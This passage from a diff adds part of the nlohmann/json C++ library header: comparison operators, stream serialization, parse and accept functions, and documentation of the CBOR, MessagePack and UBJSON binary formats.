(lhs_type) + { + case value_t::array: + return *lhs.m_value.array == *rhs.m_value.array; + + case value_t::object: + return *lhs.m_value.object == *rhs.m_value.object; + + case value_t::null: + return true; + + case value_t::string: + return *lhs.m_value.string == *rhs.m_value.string; + + case value_t::boolean: + return lhs.m_value.boolean == rhs.m_value.boolean; + + case value_t::number_integer: + return lhs.m_value.number_integer == rhs.m_value.number_integer; + + case value_t::number_unsigned: + return lhs.m_value.number_unsigned == rhs.m_value.number_unsigned; + + case value_t::number_float: + return lhs.m_value.number_float == rhs.m_value.number_float; + + case value_t::binary: + return *lhs.m_value.binary == *rhs.m_value.binary; + + default: + return false; + } + } + else if (lhs_type == value_t::number_integer && rhs_type == value_t::number_float) + { + return static_cast(lhs.m_value.number_integer) == rhs.m_value.number_float; + } + else if (lhs_type == value_t::number_float && rhs_type == value_t::number_integer) + { + return lhs.m_value.number_float == static_cast(rhs.m_value.number_integer); + } + else if (lhs_type == value_t::number_unsigned && rhs_type == value_t::number_float) + { + return static_cast(lhs.m_value.number_unsigned) == rhs.m_value.number_float; + } + else if (lhs_type == value_t::number_float && rhs_type == value_t::number_unsigned) + { + return lhs.m_value.number_float == static_cast(rhs.m_value.number_unsigned); + } + else if (lhs_type == value_t::number_unsigned && rhs_type == value_t::number_integer) + { + return static_cast(lhs.m_value.number_unsigned) == rhs.m_value.number_integer; + } + else if (lhs_type == value_t::number_integer && rhs_type == value_t::number_unsigned) + { + return lhs.m_value.number_integer == static_cast(rhs.m_value.number_unsigned); + } + + return false; + } + + /*! + @brief comparison: equal + @copydoc operator==(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator==(const_reference lhs, const ScalarType rhs) noexcept + { + return lhs == basic_json(rhs); + } + + /*! + @brief comparison: equal + @copydoc operator==(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator==(const ScalarType lhs, const_reference rhs) noexcept + { + return basic_json(lhs) == rhs; + } + + /*! + @brief comparison: not equal + + Compares two JSON values for inequality by calculating `not (lhs == rhs)`. + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether the values @a lhs and @a rhs are not equal + + @complexity Linear. + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__notequal} + + @since version 1.0.0 + */ + friend bool operator!=(const_reference lhs, const_reference rhs) noexcept + { + return !(lhs == rhs); + } + + /*! + @brief comparison: not equal + @copydoc operator!=(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator!=(const_reference lhs, const ScalarType rhs) noexcept + { + return lhs != basic_json(rhs); + } + + /*! + @brief comparison: not equal + @copydoc operator!=(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator!=(const ScalarType lhs, const_reference rhs) noexcept + { + return basic_json(lhs) != rhs; + } + + /*! + @brief comparison: less than + + Compares whether one JSON value @a lhs is less than another JSON value @a + rhs according to the following rules: + - If @a lhs and @a rhs have the same type, the values are compared using + the default `<` operator. + - Integer and floating-point numbers are automatically converted before + comparison + - In case @a lhs and @a rhs have different types, the values are ignored + and the order of the types is considered, see + @ref operator<(const value_t, const value_t). + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether @a lhs is less than @a rhs + + @complexity Linear. + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__less} + + @since version 1.0.0 + */ + friend bool operator<(const_reference lhs, const_reference rhs) noexcept + { + const auto lhs_type = lhs.type(); + const auto rhs_type = rhs.type(); + + if (lhs_type == rhs_type) + { + switch (lhs_type) + { + case value_t::array: + // note parentheses are necessary, see + // https://github.com/nlohmann/json/issues/1530 + return (*lhs.m_value.array) < (*rhs.m_value.array); + + case value_t::object: + return (*lhs.m_value.object) < (*rhs.m_value.object); + + case value_t::null: + return false; + + case value_t::string: + return (*lhs.m_value.string) < (*rhs.m_value.string); + + case value_t::boolean: + return (lhs.m_value.boolean) < (rhs.m_value.boolean); + + case value_t::number_integer: + return (lhs.m_value.number_integer) < (rhs.m_value.number_integer); + + case value_t::number_unsigned: + return (lhs.m_value.number_unsigned) < (rhs.m_value.number_unsigned); + + case value_t::number_float: + return (lhs.m_value.number_float) < (rhs.m_value.number_float); + + case value_t::binary: + return (*lhs.m_value.binary) < (*rhs.m_value.binary); + + default: + return false; + } + } + else if (lhs_type == value_t::number_integer && rhs_type == value_t::number_float) + { + return static_cast(lhs.m_value.number_integer) < rhs.m_value.number_float; + } + else if (lhs_type == value_t::number_float && rhs_type == value_t::number_integer) + { + return lhs.m_value.number_float < static_cast(rhs.m_value.number_integer); + } + else if (lhs_type == value_t::number_unsigned && rhs_type == value_t::number_float) + { + return static_cast(lhs.m_value.number_unsigned) < rhs.m_value.number_float; + } + else if (lhs_type == value_t::number_float && rhs_type == value_t::number_unsigned) + { + return lhs.m_value.number_float < static_cast(rhs.m_value.number_unsigned); + } + else if (lhs_type == value_t::number_integer && rhs_type == value_t::number_unsigned) + { + return lhs.m_value.number_integer < static_cast(rhs.m_value.number_unsigned); + } + else if (lhs_type == value_t::number_unsigned && rhs_type == value_t::number_integer) + { + return static_cast(lhs.m_value.number_unsigned) < rhs.m_value.number_integer; + } + + // We only reach this line if we cannot compare values. In that case, + // we compare types. Note we have to call the operator explicitly, + // because MSVC has problems otherwise. + return operator<(lhs_type, rhs_type); + } + + /*! + @brief comparison: less than + @copydoc operator<(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator<(const_reference lhs, const ScalarType rhs) noexcept + { + return lhs < basic_json(rhs); + } + + /*! + @brief comparison: less than + @copydoc operator<(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator<(const ScalarType lhs, const_reference rhs) noexcept + { + return basic_json(lhs) < rhs; + } + + /*! + @brief comparison: less than or equal + + Compares whether one JSON value @a lhs is less than or equal to another + JSON value by calculating `not (rhs < lhs)`. + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether @a lhs is less than or equal to @a rhs + + @complexity Linear. + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__greater} + + @since version 1.0.0 + */ + friend bool operator<=(const_reference lhs, const_reference rhs) noexcept + { + return !(rhs < lhs); + } + + /*! + @brief comparison: less than or equal + @copydoc operator<=(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator<=(const_reference lhs, const ScalarType rhs) noexcept + { + return lhs <= basic_json(rhs); + } + + /*! + @brief comparison: less than or equal + @copydoc operator<=(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator<=(const ScalarType lhs, const_reference rhs) noexcept + { + return basic_json(lhs) <= rhs; + } + + /*! + @brief comparison: greater than + + Compares whether one JSON value @a lhs is greater than another + JSON value by calculating `not (lhs <= rhs)`. + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether @a lhs is greater than to @a rhs + + @complexity Linear. + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__lessequal} + + @since version 1.0.0 + */ + friend bool operator>(const_reference lhs, const_reference rhs) noexcept + { + return !(lhs <= rhs); + } + + /*! + @brief comparison: greater than + @copydoc operator>(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator>(const_reference lhs, const ScalarType rhs) noexcept + { + return lhs > basic_json(rhs); + } + + /*! + @brief comparison: greater than + @copydoc operator>(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator>(const ScalarType lhs, const_reference rhs) noexcept + { + return basic_json(lhs) > rhs; + } + + /*! + @brief comparison: greater than or equal + + Compares whether one JSON value @a lhs is greater than or equal to another + JSON value by calculating `not (lhs < rhs)`. + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether @a lhs is greater than or equal to @a rhs + + @complexity Linear. + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__greaterequal} + + @since version 1.0.0 + */ + friend bool operator>=(const_reference lhs, const_reference rhs) noexcept + { + return !(lhs < rhs); + } + + /*! + @brief comparison: greater than or equal + @copydoc operator>=(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator>=(const_reference lhs, const ScalarType rhs) noexcept + { + return lhs >= basic_json(rhs); + } + + /*! + @brief comparison: greater than or equal + @copydoc operator>=(const_reference, const_reference) + */ + template::value, int>::type = 0> + friend bool operator>=(const ScalarType lhs, const_reference rhs) noexcept + { + return basic_json(lhs) >= rhs; + } + + /// @} + + /////////////////// + // serialization // + /////////////////// + + /// @name serialization + /// @{ + + /*! + @brief serialize to stream + + Serialize the given JSON value @a j to the output stream @a o. The JSON + value will be serialized using the @ref dump member function. + + - The indentation of the output can be controlled with the member variable + `width` of the output stream @a o. For instance, using the manipulator + `std::setw(4)` on @a o sets the indentation level to `4` and the + serialization result is the same as calling `dump(4)`. + + - The indentation character can be controlled with the member variable + `fill` of the output stream @a o. For instance, the manipulator + `std::setfill('\\t')` sets indentation to use a tab character rather than + the default space character. + + @param[in,out] o stream to serialize to + @param[in] j JSON value to serialize + + @return the stream @a o + + @throw type_error.316 if a string stored inside the JSON value is not + UTF-8 encoded + + @complexity Linear. + + @liveexample{The example below shows the serialization with different + parameters to `width` to adjust the indentation level.,operator_serialize} + + @since version 1.0.0; indentation character added in version 3.0.0 + */ + friend std::ostream& operator<<(std::ostream& o, const basic_json& j) + { + // read width member and use it as indentation parameter if nonzero + const bool pretty_print = o.width() > 0; + const auto indentation = pretty_print ? o.width() : 0; + + // reset width to 0 for subsequent calls to this stream + o.width(0); + + // do the actual serialization + serializer s(detail::output_adapter(o), o.fill()); + s.dump(j, pretty_print, false, static_cast(indentation)); + return o; + } + + /*! + @brief serialize to stream + @deprecated This stream operator is deprecated and will be removed in + future 4.0.0 of the library. Please use + @ref operator<<(std::ostream&, const basic_json&) + instead; that is, replace calls like `j >> o;` with `o << j;`. + @since version 1.0.0; deprecated since version 3.0.0 + */ + JSON_HEDLEY_DEPRECATED_FOR(3.0.0, operator<<(std::ostream&, const basic_json&)) + friend std::ostream& operator>>(const basic_json& j, std::ostream& o) + { + return o << j; + } + + /// @} + + + ///////////////////// + // deserialization // + ///////////////////// + + /// @name deserialization + /// @{ + + /*! + @brief deserialize from a compatible input + + @tparam InputType A compatible input, for instance + - an std::istream object + - a FILE pointer + - a C-style array of characters + - a pointer to a null-terminated string of single byte characters + - an object obj for which begin(obj) and end(obj) produces a valid pair of + iterators. + + @param[in] i input to read from + @param[in] cb a parser callback function of type @ref parser_callback_t + which is used to control the deserialization by filtering unwanted values + (optional) + @param[in] allow_exceptions whether to throw exceptions in case of a + parse error (optional, true by default) + @param[in] ignore_comments whether comments should be ignored and treated + like whitespace (true) or yield a parse error (true); (optional, false by + default) + + @return deserialized JSON value; in case of a parse error and + @a allow_exceptions set to `false`, the return value will be + value_t::discarded. + + @throw parse_error.101 if a parse error occurs; example: `""unexpected end + of input; expected string literal""` + @throw parse_error.102 if to_unicode fails or surrogate error + @throw parse_error.103 if to_unicode fails + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. The complexity can be higher if the parser callback function + @a cb or reading from the input @a i has a super-linear complexity. + + @note A UTF-8 byte order mark is silently ignored. + + @liveexample{The example below demonstrates the `parse()` function reading + from an array.,parse__array__parser_callback_t} + + @liveexample{The example below demonstrates the `parse()` function with + and without callback function.,parse__string__parser_callback_t} + + @liveexample{The example below demonstrates the `parse()` function with + and without callback function.,parse__istream__parser_callback_t} + + @liveexample{The example below demonstrates the `parse()` function reading + from a contiguous container.,parse__contiguouscontainer__parser_callback_t} + + @since version 2.0.3 (contiguous containers); version 3.9.0 allowed to + ignore comments. + */ + template + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json parse(InputType&& i, + const parser_callback_t cb = nullptr, + const bool allow_exceptions = true, + const bool ignore_comments = false) + { + basic_json result; + parser(detail::input_adapter(std::forward(i)), cb, allow_exceptions, ignore_comments).parse(true, result); + return result; + } + + /*! + @brief deserialize from a pair of character iterators + + The value_type of the iterator must be a integral type with size of 1, 2 or + 4 bytes, which will be interpreted respectively as UTF-8, UTF-16 and UTF-32. + + @param[in] first iterator to start of character range + @param[in] last iterator to end of character range + @param[in] cb a parser callback function of type @ref parser_callback_t + which is used to control the deserialization by filtering unwanted values + (optional) + @param[in] allow_exceptions whether to throw exceptions in case of a + parse error (optional, true by default) + @param[in] ignore_comments whether comments should be ignored and treated + like whitespace (true) or yield a parse error (true); (optional, false by + default) + + @return deserialized JSON value; in case of a parse error and + @a allow_exceptions set to `false`, the return value will be + value_t::discarded. + + @throw parse_error.101 if a parse error occurs; example: `""unexpected end + of input; expected string literal""` + @throw parse_error.102 if to_unicode fails or surrogate error + @throw parse_error.103 if to_unicode fails + */ + template + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json parse(IteratorType first, + IteratorType last, + const parser_callback_t cb = nullptr, + const bool allow_exceptions = true, + const bool ignore_comments = false) + { + basic_json result; + parser(detail::input_adapter(std::move(first), std::move(last)), cb, allow_exceptions, ignore_comments).parse(true, result); + return result; + } + + JSON_HEDLEY_WARN_UNUSED_RESULT + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, parse(ptr, ptr + len)) + static basic_json parse(detail::span_input_adapter&& i, + const parser_callback_t cb = nullptr, + const bool allow_exceptions = true, + const bool ignore_comments = false) + { + basic_json result; + parser(i.get(), cb, allow_exceptions, ignore_comments).parse(true, result); + return result; + } + + /*! + @brief check if the input is valid JSON + + Unlike the @ref parse(InputType&&, const parser_callback_t,const bool) + function, this function neither throws an exception in case of invalid JSON + input (i.e., a parse error) nor creates diagnostic information. + + @tparam InputType A compatible input, for instance + - an std::istream object + - a FILE pointer + - a C-style array of characters + - a pointer to a null-terminated string of single byte characters + - an object obj for which begin(obj) and end(obj) produces a valid pair of + iterators. + + @param[in] i input to read from + @param[in] ignore_comments whether comments should be ignored and treated + like whitespace (true) or yield a parse error (true); (optional, false by + default) + + @return Whether the input read from @a i is valid JSON. + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. + + @note A UTF-8 byte order mark is silently ignored. + + @liveexample{The example below demonstrates the `accept()` function reading + from a string.,accept__string} + */ + template + static bool accept(InputType&& i, + const bool ignore_comments = false) + { + return parser(detail::input_adapter(std::forward(i)), nullptr, false, ignore_comments).accept(true); + } + + template + static bool accept(IteratorType first, IteratorType last, + const bool ignore_comments = false) + { + return parser(detail::input_adapter(std::move(first), std::move(last)), nullptr, false, ignore_comments).accept(true); + } + + JSON_HEDLEY_WARN_UNUSED_RESULT + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, accept(ptr, ptr + len)) + static bool accept(detail::span_input_adapter&& i, + const bool ignore_comments = false) + { + return parser(i.get(), nullptr, false, ignore_comments).accept(true); + } + + /*! + @brief generate SAX events + + The SAX event lister must follow the interface of @ref json_sax. + + This function reads from a compatible input. Examples are: + - an std::istream object + - a FILE pointer + - a C-style array of characters + - a pointer to a null-terminated string of single byte characters + - an object obj for which begin(obj) and end(obj) produces a valid pair of + iterators. + + @param[in] i input to read from + @param[in,out] sax SAX event listener + @param[in] format the format to parse (JSON, CBOR, MessagePack, or UBJSON) + @param[in] strict whether the input has to be consumed completely + @param[in] ignore_comments whether comments should be ignored and treated + like whitespace (true) or yield a parse error (true); (optional, false by + default); only applies to the JSON file format. + + @return return value of the last processed SAX event + + @throw parse_error.101 if a parse error occurs; example: `""unexpected end + of input; expected string literal""` + @throw parse_error.102 if to_unicode fails or surrogate error + @throw parse_error.103 if to_unicode fails + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. The complexity can be higher if the SAX consumer @a sax has + a super-linear complexity. + + @note A UTF-8 byte order mark is silently ignored. + + @liveexample{The example below demonstrates the `sax_parse()` function + reading from string and processing the events with a user-defined SAX + event consumer.,sax_parse} + + @since version 3.2.0 + */ + template + JSON_HEDLEY_NON_NULL(2) + static bool sax_parse(InputType&& i, SAX* sax, + input_format_t format = input_format_t::json, + const bool strict = true, + const bool ignore_comments = false) + { + auto ia = detail::input_adapter(std::forward(i)); + return format == input_format_t::json + ? parser(std::move(ia), nullptr, true, ignore_comments).sax_parse(sax, strict) + : detail::binary_reader(std::move(ia)).sax_parse(format, sax, strict); + } + + template + JSON_HEDLEY_NON_NULL(3) + static bool sax_parse(IteratorType first, IteratorType last, SAX* sax, + input_format_t format = input_format_t::json, + const bool strict = true, + const bool ignore_comments = false) + { + auto ia = detail::input_adapter(std::move(first), std::move(last)); + return format == input_format_t::json + ? parser(std::move(ia), nullptr, true, ignore_comments).sax_parse(sax, strict) + : detail::binary_reader(std::move(ia)).sax_parse(format, sax, strict); + } + + template + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, sax_parse(ptr, ptr + len, ...)) + JSON_HEDLEY_NON_NULL(2) + static bool sax_parse(detail::span_input_adapter&& i, SAX* sax, + input_format_t format = input_format_t::json, + const bool strict = true, + const bool ignore_comments = false) + { + auto ia = i.get(); + return format == input_format_t::json + ? parser(std::move(ia), nullptr, true, ignore_comments).sax_parse(sax, strict) + : detail::binary_reader(std::move(ia)).sax_parse(format, sax, strict); + } + + /*! + @brief deserialize from stream + @deprecated This stream operator is deprecated and will be removed in + version 4.0.0 of the library. Please use + @ref operator>>(std::istream&, basic_json&) + instead; that is, replace calls like `j << i;` with `i >> j;`. + @since version 1.0.0; deprecated since version 3.0.0 + */ + JSON_HEDLEY_DEPRECATED_FOR(3.0.0, operator>>(std::istream&, basic_json&)) + friend std::istream& operator<<(basic_json& j, std::istream& i) + { + return operator>>(i, j); + } + + /*! + @brief deserialize from stream + + Deserializes an input stream to a JSON value. + + @param[in,out] i input stream to read a serialized JSON value from + @param[in,out] j JSON value to write the deserialized input to + + @throw parse_error.101 in case of an unexpected token + @throw parse_error.102 if to_unicode fails or surrogate error + @throw parse_error.103 if to_unicode fails + + @complexity Linear in the length of the input. The parser is a predictive + LL(1) parser. + + @note A UTF-8 byte order mark is silently ignored. + + @liveexample{The example below shows how a JSON value is constructed by + reading a serialization from a stream.,operator_deserialize} + + @sa parse(std::istream&, const parser_callback_t) for a variant with a + parser callback function to filter values while parsing + + @since version 1.0.0 + */ + friend std::istream& operator>>(std::istream& i, basic_json& j) + { + parser(detail::input_adapter(i)).parse(false, j); + return i; + } + + /// @} + + /////////////////////////// + // convenience functions // + /////////////////////////// + + /*! + @brief return the type as string + + Returns the type name as string to be used in error messages - usually to + indicate that a function was called on a wrong JSON type. + + @return a string representation of a the @a m_type member: + Value type | return value + ----------- | ------------- + null | `"null"` + boolean | `"boolean"` + string | `"string"` + number | `"number"` (for all number types) + object | `"object"` + array | `"array"` + binary | `"binary"` + discarded | `"discarded"` + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @complexity Constant. + + @liveexample{The following code exemplifies `type_name()` for all JSON + types.,type_name} + + @sa @ref type() -- return the type of the JSON value + @sa @ref operator value_t() -- return the type of the JSON value (implicit) + + @since version 1.0.0, public since 2.1.0, `const char*` and `noexcept` + since 3.0.0 + */ + JSON_HEDLEY_RETURNS_NON_NULL + const char* type_name() const noexcept + { + { + switch (m_type) + { + case value_t::null: + return "null"; + case value_t::object: + return "object"; + case value_t::array: + return "array"; + case value_t::string: + return "string"; + case value_t::boolean: + return "boolean"; + case value_t::binary: + return "binary"; + case value_t::discarded: + return "discarded"; + default: + return "number"; + } + } + } + + + JSON_PRIVATE_UNLESS_TESTED: + ////////////////////// + // member variables // + ////////////////////// + + /// the type of the current element + value_t m_type = value_t::null; + + /// the value of the current element + json_value m_value = {}; + + ////////////////////////////////////////// + // binary serialization/deserialization // + ////////////////////////////////////////// + + /// @name binary serialization/deserialization support + /// @{ + + public: + /*! + @brief create a CBOR serialization of a given JSON value + + Serializes a given JSON value @a j to a byte vector using the CBOR (Concise + Binary Object Representation) serialization format. CBOR is a binary + serialization format which aims to be more compact than JSON itself, yet + more efficient to parse. + + The library uses the following mapping from JSON values types to + CBOR types according to the CBOR specification (RFC 7049): + + JSON value type | value/range | CBOR type | first byte + --------------- | ------------------------------------------ | ---------------------------------- | --------------- + null | `null` | Null | 0xF6 + boolean | `true` | True | 0xF5 + boolean | `false` | False | 0xF4 + number_integer | -9223372036854775808..-2147483649 | Negative integer (8 bytes follow) | 0x3B + number_integer | -2147483648..-32769 | Negative integer (4 bytes follow) | 0x3A + number_integer | -32768..-129 | Negative integer (2 bytes follow) | 0x39 + number_integer | -128..-25 | Negative integer (1 byte follow) | 0x38 + number_integer | -24..-1 | Negative integer | 0x20..0x37 + number_integer | 0..23 | Integer | 0x00..0x17 + number_integer | 24..255 | Unsigned integer (1 byte follow) | 0x18 + number_integer | 256..65535 | Unsigned integer (2 bytes follow) | 0x19 + number_integer | 65536..4294967295 | Unsigned integer (4 bytes follow) | 0x1A + number_integer | 4294967296..18446744073709551615 | Unsigned integer (8 bytes follow) | 0x1B + number_unsigned | 0..23 | Integer | 0x00..0x17 + number_unsigned | 24..255 | Unsigned integer (1 byte follow) | 0x18 + number_unsigned | 256..65535 | Unsigned integer (2 bytes follow) | 0x19 + number_unsigned | 65536..4294967295 | Unsigned integer (4 bytes follow) | 0x1A + number_unsigned | 4294967296..18446744073709551615 | Unsigned integer (8 bytes follow) | 0x1B + number_float | *any value representable by a float* | Single-Precision Float | 0xFA + number_float | *any value NOT representable by a float* | Double-Precision Float | 0xFB + string | *length*: 0..23 | UTF-8 string | 0x60..0x77 + string | *length*: 23..255 | UTF-8 string (1 byte follow) | 0x78 + string | *length*: 256..65535 | UTF-8 string (2 bytes follow) | 0x79 + string | *length*: 65536..4294967295 | UTF-8 string (4 bytes follow) | 0x7A + string | *length*: 4294967296..18446744073709551615 | UTF-8 string (8 bytes follow) | 0x7B + array | *size*: 0..23 | array | 0x80..0x97 + array | *size*: 23..255 | array (1 byte follow) | 0x98 + array | *size*: 256..65535 | array (2 bytes follow) | 0x99 + array | *size*: 65536..4294967295 | array (4 bytes follow) | 0x9A + array | *size*: 4294967296..18446744073709551615 | array (8 bytes follow) | 0x9B + object | *size*: 0..23 | map | 0xA0..0xB7 + object | *size*: 23..255 | map (1 byte follow) | 0xB8 + object | *size*: 256..65535 | map (2 bytes follow) | 0xB9 + object | *size*: 65536..4294967295 | map (4 bytes follow) | 0xBA + object | *size*: 4294967296..18446744073709551615 | map (8 bytes follow) | 0xBB + binary | *size*: 0..23 | byte string | 0x40..0x57 + binary | *size*: 23..255 | byte string (1 byte follow) | 0x58 + binary | *size*: 256..65535 | byte string (2 bytes follow) | 0x59 + binary | *size*: 65536..4294967295 | byte string (4 bytes follow) | 0x5A + binary | *size*: 4294967296..18446744073709551615 | byte string (8 bytes follow) | 0x5B + + @note The mapping is **complete** in the sense that any JSON value type + can be converted to a CBOR value. + + @note If NaN or Infinity are stored inside a JSON number, they are + serialized properly. This behavior differs from the @ref dump() + function which serializes NaN or Infinity to `null`. + + @note The following CBOR types are not used in the conversion: + - UTF-8 strings terminated by "break" (0x7F) + - arrays terminated by "break" (0x9F) + - maps terminated by "break" (0xBF) + - byte strings terminated by "break" (0x5F) + - date/time (0xC0..0xC1) + - bignum (0xC2..0xC3) + - decimal fraction (0xC4) + - bigfloat (0xC5) + - expected conversions (0xD5..0xD7) + - simple values (0xE0..0xF3, 0xF8) + - undefined (0xF7) + - half-precision floats (0xF9) + - break (0xFF) + + @param[in] j JSON value to serialize + @return CBOR serialization as byte vector + + @complexity Linear in the size of the JSON value @a j. + + @liveexample{The example shows the serialization of a JSON value to a byte + vector in CBOR format.,to_cbor} + + @sa http://cbor.io + @sa @ref from_cbor(detail::input_adapter&&, const bool, const bool, const cbor_tag_handler_t) for the + analogous deserialization + @sa @ref to_msgpack(const basic_json&) for the related MessagePack format + @sa @ref to_ubjson(const basic_json&, const bool, const bool) for the + related UBJSON format + + @since version 2.0.9; compact representation of floating-point numbers + since version 3.8.0 + */ + static std::vector to_cbor(const basic_json& j) + { + std::vector result; + to_cbor(j, result); + return result; + } + + static void to_cbor(const basic_json& j, detail::output_adapter o) + { + binary_writer(o).write_cbor(j); + } + + static void to_cbor(const basic_json& j, detail::output_adapter o) + { + binary_writer(o).write_cbor(j); + } + + /*! + @brief create a MessagePack serialization of a given JSON value + + Serializes a given JSON value @a j to a byte vector using the MessagePack + serialization format. MessagePack is a binary serialization format which + aims to be more compact than JSON itself, yet more efficient to parse. + + The library uses the following mapping from JSON values types to + MessagePack types according to the MessagePack specification: + + JSON value type | value/range | MessagePack type | first byte + --------------- | --------------------------------- | ---------------- | ---------- + null | `null` | nil | 0xC0 + boolean | `true` | true | 0xC3 + boolean | `false` | false | 0xC2 + number_integer | -9223372036854775808..-2147483649 | int64 | 0xD3 + number_integer | -2147483648..-32769 | int32 | 0xD2 + number_integer | -32768..-129 | int16 | 0xD1 + number_integer | -128..-33 | int8 | 0xD0 + number_integer | -32..-1 | negative fixint | 0xE0..0xFF + number_integer | 0..127 | positive fixint | 0x00..0x7F + number_integer | 128..255 | uint 8 | 0xCC + number_integer | 256..65535 | uint 16 | 0xCD + number_integer | 65536..4294967295 | uint 32 | 0xCE + number_integer | 4294967296..18446744073709551615 | uint 64 | 0xCF + number_unsigned | 0..127 | positive fixint | 0x00..0x7F + number_unsigned | 128..255 | uint 8 | 0xCC + number_unsigned | 256..65535 | uint 16 | 0xCD + number_unsigned | 65536..4294967295 | uint 32 | 0xCE + number_unsigned | 4294967296..18446744073709551615 | uint 64 | 0xCF + number_float | *any value representable by a float* | float 32 | 0xCA + number_float | *any value NOT representable by a float* | float 64 | 0xCB + string | *length*: 0..31 | fixstr | 0xA0..0xBF + string | *length*: 32..255 | str 8 | 0xD9 + string | *length*: 256..65535 | str 16 | 0xDA + string | *length*: 65536..4294967295 | str 32 | 0xDB + array | *size*: 0..15 | fixarray | 0x90..0x9F + array | *size*: 16..65535 | array 16 | 0xDC + array | *size*: 65536..4294967295 | array 32 | 0xDD + object | *size*: 0..15 | fix map | 0x80..0x8F + object | *size*: 16..65535 | map 16 | 0xDE + object | *size*: 65536..4294967295 | map 32 | 0xDF + binary | *size*: 0..255 | bin 8 | 0xC4 + binary | *size*: 256..65535 | bin 16 | 0xC5 + binary | *size*: 65536..4294967295 | bin 32 | 0xC6 + + @note The mapping is **complete** in the sense that any JSON value type + can be converted to a MessagePack value. + + @note The following values can **not** be converted to a MessagePack value: + - strings with more than 4294967295 bytes + - byte strings with more than 4294967295 bytes + - arrays with more than 4294967295 elements + - objects with more than 4294967295 elements + + @note Any MessagePack output created @ref to_msgpack can be successfully + parsed by @ref from_msgpack. + + @note If NaN or Infinity are stored inside a JSON number, they are + serialized properly. This behavior differs from the @ref dump() + function which serializes NaN or Infinity to `null`. + + @param[in] j JSON value to serialize + @return MessagePack serialization as byte vector + + @complexity Linear in the size of the JSON value @a j. + + @liveexample{The example shows the serialization of a JSON value to a byte + vector in MessagePack format.,to_msgpack} + + @sa http://msgpack.org + @sa @ref from_msgpack for the analogous deserialization + @sa @ref to_cbor(const basic_json& for the related CBOR format + @sa @ref to_ubjson(const basic_json&, const bool, const bool) for the + related UBJSON format + + @since version 2.0.9 + */ + static std::vector to_msgpack(const basic_json& j) + { + std::vector result; + to_msgpack(j, result); + return result; + } + + static void to_msgpack(const basic_json& j, detail::output_adapter o) + { + binary_writer(o).write_msgpack(j); + } + + static void to_msgpack(const basic_json& j, detail::output_adapter o) + { + binary_writer(o).write_msgpack(j); + } + + /*! + @brief create a UBJSON serialization of a given JSON value + + Serializes a given JSON value @a j to a byte vector using the UBJSON + (Universal Binary JSON) serialization format. UBJSON aims to be more compact + than JSON itself, yet more efficient to parse. + + The library uses the following mapping from JSON values types to + UBJSON types according to the UBJSON specification: + + JSON value type | value/range | UBJSON type | marker + --------------- | --------------------------------- | ----------- | ------ + null | `null` | null | `Z` + boolean | `true` | true | `T` + boolean | `false` | false | `F` + number_integer | -9223372036854775808..-2147483649 | int64 | `L` + number_integer | -2147483648..-32769 | int32 | `l` + number_integer | -32768..-129 | int16 | `I` + number_integer | -128..127 | int8 | `i` + number_integer | 128..255 | uint8 | `U` + number_integer | 256..32767 | int16 | `I` + number_integer | 32768..2147483647 | int32 | `l` + number_integer | 2147483648..9223372036854775807 | int64 | `L` + number_unsigned | 0..127 | int8 | `i` + number_unsigned | 128..255 | uint8 | `U` + number_unsigned | 256..32767 | int16 | `I` + number_unsigned | 32768..2147483647 | int32 | `l` + number_unsigned | 2147483648..9223372036854775807 | int64 | `L` + number_unsigned | 2147483649..18446744073709551615 | high-precision | `H` + number_float | *any value* | float64 | `D` + string | *with shortest length indicator* | string | `S` + array | *see notes on optimized format* | array | `[` + object | *see notes on optimized format* | map | `{` + + @note The mapping is **complete** in the sense that any JSON value type + can be converted to a UBJSON value. + + @note The following values can **not** be converted to a UBJSON value: + - strings with more than 9223372036854775807 bytes (theoretical) + + @note The following markers are not used in the conversion: + - `Z`: no-op values are not created. + - `C`: single-byte strings are serialized with `S` markers. + + @note Any UBJSON output created @ref to_ubjson can be successfully parsed + by @ref from_ubjson. + + @note If NaN or Infinity are stored inside a JSON number, they are + serialized properly. This behavior differs from the @ref dump() + function which serializes NaN or Infinity to `null`. + + @note The optimized formats for containers are supported: Parameter + @a use_size adds size information to the beginning of a container and + removes the closing marker. Parameter @a use_type further checks + whether all elements of a container have the same type and adds the + type marker to the beginning of the container. The @a use_type + parameter must only be used together with @a use_size = true. Note + that @a use_size = true alone may result in larger representations - + the benefit of this parameter is that the receiving side is + immediately informed on the number of elements of the container. + + @note If the JSON data contains the binary type, the value stored is a list + of integers, as suggested by the UBJSON documentation. In particular, + this means that serialization and the deserialization of a JSON + containing binary values into UBJSON and back will result in a + different JSON object. + + 